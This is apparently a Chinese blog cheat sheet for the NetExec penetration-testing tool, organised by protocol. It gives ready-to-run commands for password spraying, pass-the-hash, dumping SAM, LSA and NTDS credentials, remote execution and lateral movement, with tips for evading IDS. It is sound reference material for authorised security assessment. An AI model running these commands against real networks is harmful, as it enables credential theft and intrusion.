1. 引言:从CrackMapExec到NetExec的演进
NetExec(简称nxc)是CrackMapExec(CME)的活跃分支与继任者。在CME因维护者mpgn退休而停止更新后,NetExec继承了其核心设计理念,并在性能优化、协议扩展和模块丰富度上实现了全面超越。
作为一款专注于Windows/Active Directory环境的网络服务利用工具,NetExec的核心价值在于将渗透测试中“凭据验证→信息枚举→横向移动”的完整链条整合在单一工具中。它支持SMB、LDAP、WinRM、SSH、MSSQL等10余种主流协议,能够通过明文密码、NTLM哈希、Kerberos票据等多种方式进行认证,并内置了丰富的枚举与执行模块。
与CrackMapExec相比,NetExec在大规模认证测试场景下表现出显著优势——优化的线程模型和并行执行机制使其能够以更高效率处理数百台主机的并发扫描任务。
本文档将以协议为维度,系统性地梳理NetExec的命令结构与核心模块用法,作为安全评估工作的速查手册。
2. 安装与基础语法
2.1 安装方式
Kali Linux(预装):
# 验证安装
nxc --version
# Kali中命令为nxc,部分环境使用netexec
从源码安装(推荐获取最新版本):
sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
2.2 基础命令语法
nxc <协议> <目标> [选项]
目标指定方式:
# 单个IP
nxc smb 192.168.1.10
# CIDR网段
nxc smb 192.168.1.0/24
# IP范围
nxc smb 192.168.1.10-50
# 从文件读取
nxc smb ~/targets.txt
# 组合方式
nxc smb DC01.corp.com 192.168.1.10-50 ~/targets.txt
2.3 全局参数一览
| 参数分类 | 选项 | 说明 |
|---|---|---|
| 通用 | -t, --threads |
并发线程数(默认100) |
--timeout |
单线程超时时间(秒) | |
--jitter |
认证间隔随机延迟(秒) | |
--version |
显示版本 | |
| 输出 | --verbose |
详细输出 |
--debug |
调试级别输出 | |
--no-progress |
不显示进度条 | |
--log |
导出结果到文件 | |
| DNS | --dns-server |
指定DNS服务器 |
--dns-tcp |
使用TCP进行DNS查询 | |
-6 |
强制IPv6 |
2.4 认证参数
| 参数 | 说明 | 示例 |
|---|---|---|
-u, --username |
用户名(支持文件) | -u administrator -u users.txt |
-p, --password |
密码(支持文件) | -p Password123 -p passwords.txt |
-H, --hash |
NTLM哈希 | -H aad3b435... |
-d, --domain |
域名 | -d corp.local |
--local-auth |
本地认证 | --local-auth |
-k, --kerberos |
Kerberos认证 | -k |
--aesKey |
Kerberos AES密钥 | --aesKey KEY |
3. SMB协议模块(核心模块)
SMB(Server Message Block)是NetExec最核心、功能最丰富的协议模块,用于Windows环境下的文件共享、权限枚举和远程执行。
3.1 基础认证测试
# 单用户单密码
nxc smb 192.168.1.10 -u administrator -p Password123
# 密码喷洒(单密码多用户)
nxc smb 192.168.1.0/24 -u users.txt -p 'Spring2024!'
# 哈希传递(Pass-the-Hash)
nxc smb 192.168.1.10 -u administrator -H aad3b435b51404eeaad3b435b51404ee
输出中(Pwn3d!)标记表示该用户具有管理员权限。
3.2 信息枚举
| 功能 | 命令 | 说明 |
|---|---|---|
| 共享枚举 | --shares |
列举可用共享及权限 |
| 用户枚举 | --users |
枚举域用户 |
| 组枚举 | --groups |
枚举域组及成员 |
| 计算机枚举 | --computers |
枚举域内计算机 |
| 登录会话 | --sessions |
枚举活动会话 |
| 磁盘枚举 | --disks |
枚举磁盘信息 |
| 接口枚举 | --interfaces |
枚举网络接口 |
3.3 凭证提取
| 功能 | 命令 | 适用权限 |
|---|---|---|
| SAM数据库 | --sam |
本地管理员 |
| LSA Secrets | --lsa |
本地管理员 |
| NTDS.dit | --ntds |
域管理员 |
| DPAPI | --dpapi |
管理员 |
| LAPS密码 | -M laps |
域用户 |
3.4 远程命令执行
# 通过WMI执行CMD命令
nxc smb 192.168.1.10 -u admin -p pass -x "whoami /all"
# 通过WMI执行PowerShell
nxc smb 192.168.1.10 -u admin -p pass -X "Get-Process"
# 指定执行方法(smbexec/wmiexec/atexec/mmcexec)
nxc smb 192.168.1.10 -u admin -p pass -x "ipconfig" --exec-method smbexec
3.5 文件操作
| 操作 | 命令 |
|---|---|
| 列出目录 | --ls C:\\Users |
| 上传文件 | --put-file local.txt \\\\remote\\C$\\remote.txt |
| 下载文件 | --get-file \\\\remote\\C$\\file.txt local.txt |
3.6 实用模块
| 模块 | 功能 | 示例 |
|---|---|---|
| spider_plus | 递归搜索敏感文件 | -M spider_plus -o SHARE=Users DEPTH=2 |
| laps | 读取LAPS密码 | -M laps |
| gpp_password | 解密GPP密码 | -M gpp_password |
| enum_av | 枚举杀毒软件 | -M enum_av |
| veeam | 检测Veeam凭证 | -M veeam |
3.7 SMB模块输出示例
SMB 192.168.1.10 445 DC01 [*] Windows Server 2019 (name:DC01) (domain:corp.local)
SMB 192.168.1.10 445 DC01 [+] corp.local\Administrator:Password123 (Pwn3d!)
SMB 192.168.1.10 445 DC01 [+] Enumerated shares
SMB 192.168.1.10 445 DC01 Share Permissions Remark
SMB 192.168.1.10 445 DC01 ----- ----------- ------
SMB 192.168.1.10 445 DC01 NETLOGON READ Logon server share
SMB 192.168.1.10 445 DC01 SYSVOL READ Logon server share
4. LDAP协议模块
LDAP模块用于查询Active Directory信息,是域环境信息收集的核心入口。
4.1 基础认证
# 域认证
nxc ldap 192.168.1.10 -u user -p pass -d corp.local
# 本地认证
nxc ldap 192.168.1.10 -u user -p pass --local-auth
4.2 信息枚举
| 功能 | 命令 |
|---|---|
| 用户枚举 | --users |
| 组枚举 | --groups |
| 计算机枚举 | --computers |
| 域信任 | --trusts |
| 获取域SID | --get-sid |
| 密码策略 | --pass-pol |
| ACL读取 | -M daclread |
4.3 Bloodhound集成
# 收集Bloodhound数据
nxc ldap 192.168.1.10 -u user -p pass --bloodhound
# 指定收集方法
nxc ldap 192.168.1.10 -u user -p pass --bloodhound --collection All
5. WinRM协议模块
WinRM(Windows Remote Management)是Windows的远程管理服务,默认端口5985(HTTP)/5986(HTTPS)。
5.1 基础认证与执行
# 认证测试
nxc winrm 192.168.1.10 -u administrator -p Password123
# 命令执行
nxc winrm 192.168.1.10 -u admin -p pass -x "whoami"
# PowerShell执行
nxc winrm 192.168.1.10 -u admin -p pass -X "Get-Service"
# 哈希传递
nxc winrm 192.168.1.10 -u administrator -H aad3b435b514...
5.2 脚本执行
# 执行本地PowerShell脚本
nxc winrm 192.168.1.10 -u admin -p pass -e "C:\scripts\enum.ps1"
6. WMI协议模块
WMI(Windows Management Instrumentation)是Windows管理接口,通过RPC/DCOM实现远程访问。
6.1 基础用法
# 认证测试
nxc wmi 192.168.1.10 -u admin -p pass
# 命令执行
nxc wmi 192.168.1.10 -u admin -p pass -x "ipconfig"
# 哈希传递
nxc wmi 192.168.1.10 -u admin -H hash
6.2 WQL查询
# 自定义WQL查询
nxc wmi 192.168.1.10 -u admin -p pass --wmi "SELECT * FROM Win32_ComputerSystem"
6.3 可用模块
# 列出WMI模块
nxc wmi -L
# 使用模块
nxc wmi 192.168.1.10 -u admin -p pass -M rdp
7. SSH协议模块
SSH模块用于Linux/Unix系统的远程管理和命令执行。
7.1 基础用法
# 密码认证
nxc ssh 192.168.1.10 -u root -p password
# 密钥认证
nxc ssh 192.168.1.10 -u root -p key_file
# 命令执行
nxc ssh 192.168.1.10 -u root -p pass -x "id && hostname"
# 密码喷洒
nxc ssh 192.168.1.0/24 -u root -p passwords.txt
# 用户名枚举
nxc ssh 192.168.1.10 -u users.txt -p 'invalid' --check-users
8. RDP协议模块
RDP(Remote Desktop Protocol)模块用于远程桌面服务的安全检测。
8.1 基础用法
# 认证测试
nxc rdp 192.168.1.10 -u admin -p pass
# 暴力破解
nxc rdp 192.168.1.10 -u users.txt -p passwords.txt
# 屏幕截图
nxc rdp 192.168.1.10 -u admin -p pass --screenshot --screentime 10
9. MSSQL协议模块
MSSQL模块用于Microsoft SQL Server数据库的检测与利用。
9.1 基础用法
# 认证测试
nxc mssql 192.168.1.10 -u sa -p password
# 执行SQL查询
nxc mssql 192.168.1.10 -u sa -p pass --query "SELECT @@version"
# 启用xp_cmdshell
nxc mssql 192.168.1.10 -u sa -p pass --enable-xp-cmdshell
# 执行系统命令
nxc mssql 192.168.1.10 -u sa -p pass -x "whoami"
10. FTP协议模块
10.1 基础用法
# 匿名登录检测
nxc ftp 192.168.1.10 -u anonymous -p ''
# 列出目录
nxc ftp 192.168.1.10 -u user -p pass --ls
# 文件上传下载
nxc ftp 192.168.1.10 -u user -p pass --get-file remote.txt local.txt
nxc ftp 192.168.1.10 -u user -p pass --put-file local.txt remote.txt
11. VNC协议模块
11.1 基础用法
# 认证测试
nxc vnc 192.168.1.10 --no-bruteforce -u '' -p ''
# 暴力破解
nxc vnc 192.168.1.10 -u '' -p passwords.txt
12. NFS协议模块
12.1 基础用法
# 列举导出目录
nxc nfs 192.168.1.10 --show-exports
# 挂载并枚举文件
nxc nfs 192.168.1.10 --mount --shares
13. 高级技巧与最佳实践
13.1 性能调优
| 场景 | 推荐配置 | 说明 |
|---|---|---|
| 内网扫描 | -t 100 --timeout 5 |
高并发,短超时 |
| 外网扫描 | -t 30 --jitter 2 |
低并发,随机延迟 |
| 隐蔽扫描 | -t 10 --jitter 5 --no-progress |
避免触发IDS |
13.2 凭据管理
# 使用凭据文件
nxc smb targets.txt -u users.txt -p passwords.txt --continue-on-success
# 用户-密码配对(user1:pass1, user2:pass2)
nxc smb targets.txt -u users.txt -p passwords.txt --no-bruteforce
13.3 组合命令示例
完整的域渗透流程:
# 1. 密码喷洒
nxc smb 192.168.1.0/24 -u users.txt -p 'Spring2024!' --continue-on-success
# 2. 收集有效凭据后枚举域信息
nxc ldap dc01.corp.local -u valid_user -p pass --bloodhound
# 3. 横向移动
nxc smb 192.168.1.0/24 -u valid_user -p pass -x "whoami"
# 4. 提取凭证
nxc smb dc01.corp.local -u administrator -H hash --ntds
13.4 输出过滤
# 仅显示成功结果
nxc smb targets.txt -u admin -p pass | grep '+'
# 导出JSON格式(配合jq处理)
nxc smb targets.txt -u admin -p pass --log results.json
13.5 注意事项
- 合法授权:仅在有明确书面授权的情况下使用,未经授权的扫描可能违反法律法规。
- 避免账户锁定:使用
--jitter参数分散认证请求,防止触发账户锁定策略。 - 日志管理:测试结束后及时清理日志文件,避免敏感信息泄露。
14. 协议速查表
| 协议 | 默认端口 | 核心功能 | 典型场景 |
|---|---|---|---|
| SMB | 445 | 共享枚举、命令执行、哈希传递 | Windows横向移动 |
| LDAP | 389/636 | 域信息查询、Bloodhound | AD信息收集 |
| WinRM | 5985/5986 | PowerShell远程执行 | 横向移动 |
| WMI | 135 | 信息查询、命令执行 | 远程管理 |
| SSH | 22 | 命令执行 | Linux管理 |
| RDP | 3389 | 屏幕截图、登录测试 | 远程桌面检测 |
| MSSQL | 1433 | SQL查询、命令执行 | 数据库安全评估 |
| FTP | 21 | 文件操作 | 匿名访问检测 |
| VNC | 5900 | 登录测试 | 远程桌面检测 |
| NFS | 2049 | 共享枚举 | 文件服务检测 |
15. 总结
NetExec作为CrackMapExec的继任者,在多协议支持、性能优化和模块丰富度上都实现了质的飞跃。其核心价值在于:
- 一体化渗透平台:从凭据验证、信息枚举到横向移动,完整覆盖攻击链
- 多协议统一接口:相同语法跨10余种协议,降低学习和使用成本
- 哈希/票据传递原生支持:无需额外配置即可使用NTLM哈希或Kerberos票据认证
- 高并发优化:大规模目标扫描时保持稳定高效
使用时应始终遵循合法授权原则,合理控制扫描参数以平衡效率与隐蔽性。完整文档请参考官方网站:https://www.netexec.wiki/
原文 https://blog.csdn.net/2301_79518550/article/details/145291436